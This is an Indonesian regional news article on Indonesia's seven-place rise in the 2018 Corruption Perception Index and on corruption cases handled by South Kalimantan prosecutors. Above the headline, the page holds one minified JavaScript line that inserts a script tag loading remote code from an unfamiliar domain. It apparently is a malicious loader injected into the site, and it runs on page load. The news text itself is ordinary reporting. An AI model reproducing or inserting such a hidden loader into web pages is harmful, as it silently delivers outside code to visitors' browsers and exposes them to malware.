(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Indeks Persepsi Korupsi Indonesia Naik Tujuh Peringkat


JAKARTA, Sekjen Transparency International Indonesia, Dadang Trisasongko bersama KPK akan meluncurkan Corruption Perception Index (CPI) atau Indeks Persepsi Korupsi (IPK) Indonesia Tahun 2018 di gedung KPK Merah Putih, Jakarta (29/1).

Indeks Persepsi Korupsi (IPK) yang dirilis Transparency International (TI) untuk tahun 2018 menunjukkan Indonesia naik tujuh peringkat ke posisi 89 dari 180 negara. Faktor yang mendorong perbaikan peringkat IPK Indonesia adalah proses berusaha, perizinan, dan investasi yang semakin mudah di Indonesia.

Dilansir katadata.co.id, manager Riset Transparency International Indonesia Wawan Sujatmiko mengatakan, skor IPK Indonesia pada 2018 naik satu poin menjadi 38 dari skala 0-100 setelah stagnan di skor 37 sejak 2016. Peringkat Indonesia pun naik ke posisi 89 dari 180 negara dibandingkan 2017 yang berada di peringkat 96 dari 180 negara.

“Posisi Indonesia naik tujuh peringkat dari tahun 2017,” kata Wawan di Gedung KPK, Jakarta, Selasa (29/1). Meski demikian, skor Indonesia ini masih di bawah rata-rata skor negara-negara di dunia sebesar 43. TI mencatat ada lebih dari 60% atau 120 dari 180 negara yang skor IPK-nya di bawah 50.

Menurut Wawan, posisi Indonesia ini sama dengan Bosnia dan Herzegovina, Sri Lanka, dan Swaziland. Di Asia Tenggara, Indonesia berada di urutan keempat menyusul Singapura, Brunei Darussalam, dan Malaysia.

Skor IPK Singapura naik satu poin menjadi 85. Skor Brunei juga naik satu poin menjadi 63. Adapun, skor IPK Malaysia stagnan di angka 47. Di bawah peringkat Indonesia, ada Filipina, Thailand, dan Timor Leste. Skor Filipina naik dua poin dari 34 menjadi 36. Skor Thailand turun satu poin dari 37 ke 36. Skor Timor Leste turun tiga poin dari 38 ke 35.

Wawan mengatakan, faktor yang mendorong peningkatan skor Indonesia secara signifikan berasal dari data Global Insight Country Risk Ratings yang naik 12 poin dari 35 ke 47. Menurut Wawan, peningkatan itu disebabkan proses berusaha, perizinan, dan investasi semakin mudah di Indonesia.

Sementara itu, faktor yang stagnan adalah Political Risk Service dengan nilai 50. Hal ini lantaran masih adanya potensi risiko korupsi dalam sistem politik yang belum berubah. Selain itu, ada indikasi relasi yang mencurigakan antara politisi dan pebisnis.

Adapun faktor yang nilainya menghambat IPK Indonesia, yakni IMD World Competitiveness Yearbook. Nilainya turun tiga poin dari 41 ke 38. Faktor ini menjelaskan bahwa suap dan korupsi masih hadir dalam sistem politik Indonesia.

Kasus Korupsi di Kalsel

Sementara itu, selama tahun 2018, Kejaksaan Tinggi Kalsel sudah menangani puluhan kasus korupsi dengan nilai potensi kerugian miliaran rupiah. Asisten Tindak Pidana Korupsi Munaji mengatakan total kasus yang ditangani Kejati Kalsel ada sebanyak 77 kasus. Rinciannya 26 perkara di tingkat penyelidikan, 11 perkara masih penyidikan dan tingkat penuntutan 40 perkara.

“Dari yang 40 perkara itu ada juga yang ditangani oleh kepolisian dan Tim Saber Pungli,” ujarnya. Dari kasus-kasus inio pihaknya sudah berhasil menyelamatkan potensi kerugian uang negara sebesar Rp 7.963.672.389.

Selain puluhan perkara yang masih dalam tahap proses di kejaksaan, Munaji menyebut, juga ada perkara yang telah memiliki kekuatan hukum tetap di Pengadilan Tipikor pada Pengadilan Negeri Banjarmasin.  Sebagian ada yang melakukan upaya hukum, kasasi, banding sapai Peninjauan Kembali (PK).

Sebelumnya, Kajati Kalsel Ade Adhyaksa mengatakan upaya memerangi tindak pidana korupsi di Kalsel sudah digencarkan. Pihaknya bukan hanya menangkap para pelaku, tetapi juga mencegah tindakan korupsi jangan sampai terjadi lagi. “Bukan hanya banyak-banyakan menangkap pelaku, kita juga mengedepankan fungsi pencegahan,” katanya.

Dia mengatakan Kejati Kalsel juga berperan sebagai Tim Pengawal dan Pengaman Pemerintah dan Pembangunan Daerah (TP4D). Selain itu, pihaknya juga gencar melakukan sosialisasi mengenai bahaya korupsi ke sekolah dan kampus-kampus.(cel/katadata)

Reporter : Cel/katadata
Editor : Chell

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

3 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

3 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

4 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

4 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

4 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

6 jam ago

This website uses cookies.